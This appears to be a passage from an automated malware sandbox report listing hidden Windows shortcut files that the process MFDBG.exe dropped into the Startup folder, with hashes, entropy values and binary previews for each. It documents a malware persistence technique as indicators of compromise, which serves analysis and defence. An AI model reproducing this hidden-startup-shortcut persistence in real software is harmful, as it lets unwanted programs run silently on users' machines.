File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930824084254249
Encrypted:	false
SSDEEP:	24:8V5BfH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8JkEvZ0yRO7DLO2zdxdRd1kyg
MD5:	91984EB02377150ADCC27936D6E075BB
SHA1:	8FCB2E12858C7EC40A9417AEFC545CCEDD4E9784
SHA-256:	964AB23D65F8C7DD185C408D5669B76449C0FBCCBC9A61E27B71FCF66E7C4C7F
SHA-512:	92A7DA912F4F26FDB79FA0819FCF54D91EF4672D7BD22FF5D2ED9CA7259A2AF3783656A681F535C58C06480120CF884DE4A8D085A79C30B944BB81FD2DC8A2C8
Malicious:	false
Preview:	L..................F....".......d......_d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...I._d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_84a2ce79ed914cd496daba01a1f31c76.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9225561741350825
Encrypted:	false
SSDEEP:	24:8tBfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8fJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	50056CE1C7C8935874F9794D91A9BA5C
SHA1:	8B04B5695218EF84CAD3A94C0B0E95AE19E6304E
SHA-256:	B0162BA2E53EAB2655FFD8475FE03FD86DDA596D5A8797E412D6C2DA6448F8C7
SHA-512:	01498B1E2AA6C692201FC94CEC5A114681564882D291D2118937283336199447743F500F1688A5B7CE8A95ABD3C61DBBF11DAA96C3A63CA8838F23CE38207EFE
Malicious:	false
Preview:	L..................F....".......d...65+.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....(.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8511d254a8ea48a5910f83a4aef12df8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921013134554013
Encrypted:	false
SSDEEP:	24:8PBfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ZYEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6AB270DB586A87B35B13FE278196A132
SHA1:	7E8110B7F6C88BA8803A67EB0F75DB41B59346F3
SHA-256:	7F5EBF86E1659655B9B8FAD3DDF06DC03505B6F656B70DC6693F867FF66B532C
SHA-512:	2275A77BB3E2E68DD8FA9FA0D171C7F83367F25BBDDF427B231ACD200C985F824622907C98E34417F9F17E34A8A98BF335DF53286E33CB5100FFAD0C69A6ABD5
Malicious:	false
Preview:	L..................F....".......d....-.\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....T$\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_854ed7fc79044798b88427e00eefc23b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926257579935542
Encrypted:	false
SSDEEP:	24:8FrBfbl8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Fd+EvZ0yRO7DLO2zdxdRd1kyg
MD5:	D9ACAFA7E8A53EADF77AF2FAA7508C29
SHA1:	3B5C1213FCBA16665891103ED823F7C2054EFD81
SHA-256:	3B41ECA2768BE6E4C42FB2F99C5E6E1625867ABE42C64BF9D66A1E99B81481AA
SHA-512:	D67460C3F6DB8A3D5EEE05BDFAF92B33653D71634FBE9B41C7460D6B20961A5795953B6A6C5AB06BF71A8033D42E085C77A82BC769A0B605C22BD4B15560CBFA
Malicious:	false
Preview:	L..................F....".......d...F..;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_85625fa7c5fe4446bfb7304c9ef7496b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916912995885509
Encrypted:	false
SSDEEP:	24:8FFc3BfpcH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88DEvZ0yRO7DLO2zdxdRd1kyg
MD5:	11EE5B9C047FD824A41DBA2C382748C6
SHA1:	49149D024E985A76CF400DCDADDD45A4F1BC80D0
SHA-256:	EE80CF09317911BFBD2A8108D0F04523BCD3B8B65E224F5CDD989807B7D3BAE8
SHA-512:	8F0895C5569360A5AC91BB2EAF6DCF6DC002EEEFA9606CDF4EBEF83594A47AC4F88AF677299F0DC5C14A4D03EA7FF9D3723B16264255EA9007D030353FE6A603
Malicious:	false
Preview:	L..................F....".......d.....f.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....f.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_857942c03233486eb336bbde01b804a0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921710214773664
Encrypted:	false
SSDEEP:	24:8cBfv8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ScEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A9B7D62A13767F1086B97D140D98A0AE
SHA1:	36AE7FF3EB6E07721695562DC752856354AD802C
SHA-256:	5EDF241663009B9778771D90C3B1127E32231DD4493DCFB0ECE0F5659C5C9D95
SHA-512:	5DDB027F053203961A5FC5228446675DF0EF63B15137BFB4146B84D73B054D0A84EFF54B1676C0C3C2CB4101511C16ECA26B5DFFA019DF57684A4C3C40B869C7
Malicious:	false
Preview:	L..................F....".......d.....S.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....3J.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_85a36c8bdef5477b873b23d9542942e5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921982732797122
Encrypted:	false
SSDEEP:	24:8yerBfZ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8yeWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3EAA0AC1513CE0B023FA4322A138699A
SHA1:	19FAD67F6357DA06FC6E00BE92DED5380A70BE61
SHA-256:	FB66EC48F3394745D61DDDCD1E9D9E59B433E5F6774856753B1F322EAEA0F88C
SHA-512:	9816B828EA1D252E0D19D89428407C10EC93D7B0B0ECA408475671DEEE600639E7CD89A88EEB469B24FE5916DDB3429003A31B8B8432D786135E9EEE13169A82
Malicious:	false
Preview:	L..................F....".......d......\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_85c79073cf6a47318eb70b0113ff2cfa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920216947675124
Encrypted:	false
SSDEEP:	24:86BfRo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:84jEvZ0yRO7DLO2zdxdRd1kyg
MD5:	91DFFF3EF19C0D3E6E4151E95CBEE7BB
SHA1:	E8F48C1515F56E7B31128B54DE1C8FAD463465FD
SHA-256:	2A15099214A39DC633ECAC6D572C9580CD48FD53CEFA37A30BC064A9FD625ED3
SHA-512:	4F45B46986AF03B1601511F9F0247987D927F5C79A1DB31D8DB59E0DBFB7CCB151AE2F0BEEE084271F263F0C34ADF64F8CF3A60431E3478B74139F53360B60A5
Malicious:	false
Preview:	L..................F....".......d....qZ:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....$-:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_85d88418c33a4c349c180bcf8d9eaa82.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:19 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931256000549997
Encrypted:	false
SSDEEP:	24:8fBfWQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8peFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3108A65D654EB300FE96340DF9DFFC01
SHA1:	356AC123E80573C603FA2BE3EF3B8D8DA5F6BC90
SHA-256:	8364D6F7A03FD7DC77CE5B78CBCA8F7B3336EBE6949806821CF5F0406C1F86C8
SHA-512:	AD9025698A8A15F8D6920CA31A307CDEC602B143F87D1A614DBAB6454A06DCD40FFB160683899C7B75D1F5F49F8B256E761FD86C5D7A83187CE8D064235804AB
Malicious:	false
Preview:	L..................F....".......d.....(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Zi.(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_85d8a5f504824763b0a0c3b6cc4d10fb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927916251632821
Encrypted:	false
SSDEEP:	24:8rmBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8rsREvZ0yRO7DLO2zdxdRd1kyg
MD5:	250A8DE476CEA9AB20E67B0609756052
SHA1:	B5150682970FBB391158AF82A8C17536BB5139ED
SHA-256:	A2BB616265AEAC157F88B3C5E5C189C46881034A7A47EFDE1CEABB200580DC2F
SHA-512:	F64A952FC5541BDDEE0856022627F3AC8BE615DD7FB127261D1DCC85ED52341AC43FBA876942E4104C8B5F9A5A0D66A4DA95E6FC840D7FA1F98887AA1D2DA800
Malicious:	false
Preview:	L..................F....".......d...9..Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8610d59bf19a4ad1b409b10bcd56ea04.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.905780732923979
Encrypted:	false
SSDEEP:	24:8MBf38EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8CEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2EDC0C43F0D2BB60C8FEE2FB9ED18D56
SHA1:	E134AE918F34AEFFC39CC233548364B926990CB9
SHA-256:	5626CE1A23417720F6246FF89C048F03FC54E3B5E4A7F5EA06E05B0E693AC44F
SHA-512:	3C47EF0E87D88FC14E716B91D5DA5C8EEF3AF34B860416FDFCFA05754F62D2F049A7E4E7EE23AF67B8475012DE6CA35D9D41090988B1F42D38CE5E4685BD251E
Malicious:	false
Preview:	L..................F....".......d....W7\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....9\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_864054897ebc4bf3b7c28f38904093f5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925969656937661
Encrypted:	false
SSDEEP:	24:87Bfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8tOEvZ0yRO7DLO2zdxdRd1kyg
MD5:	372939B2A66CF102ABFDA25A09C298F6
SHA1:	75EB19D375F4FD359D2E9FBBB870B5B89A14CF71
SHA-256:	FF08DA6252C3B7A5C5B8B7D15D9341E964B358B81361021DD483676FE5054E53
SHA-512:	E63EC32E1FBA554486A85698829D87C27DAFD33E993AE5C734912D65E10B197640EEC7F16A15BA892F5C2C824F894DCAC33D25CEFCD7DB7433D7024849B010D8
Malicious:	false
Preview:	L..................F....".......d...O..~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...O..~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_865135d18ade4c5782a11979da501487.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924014991879168
Encrypted:	false
SSDEEP:	24:8BBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8bhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0580CB605A26A5F320C6C19766BFEC2C
SHA1:	B5A582F2104940DDD4584291730E7737375619CC
SHA-256:	D6AD3A99FDD6C00C40D4193736ACC0E691CD753A7194334B9C9E7C1AF365E16D
SHA-512:	9DBC250B26F2D275F2529CBFE6BFA9E2F8C7FCAF82B36E2AC62A6EF2A13E7483897F4C854711AE9CF5C42499BDC265048C74E0BB73385D192B328A2D8CEEA56B
Malicious:	false
Preview:	L..................F....".......d...!..Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8662b6207de64a5680650bd8ab121343.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
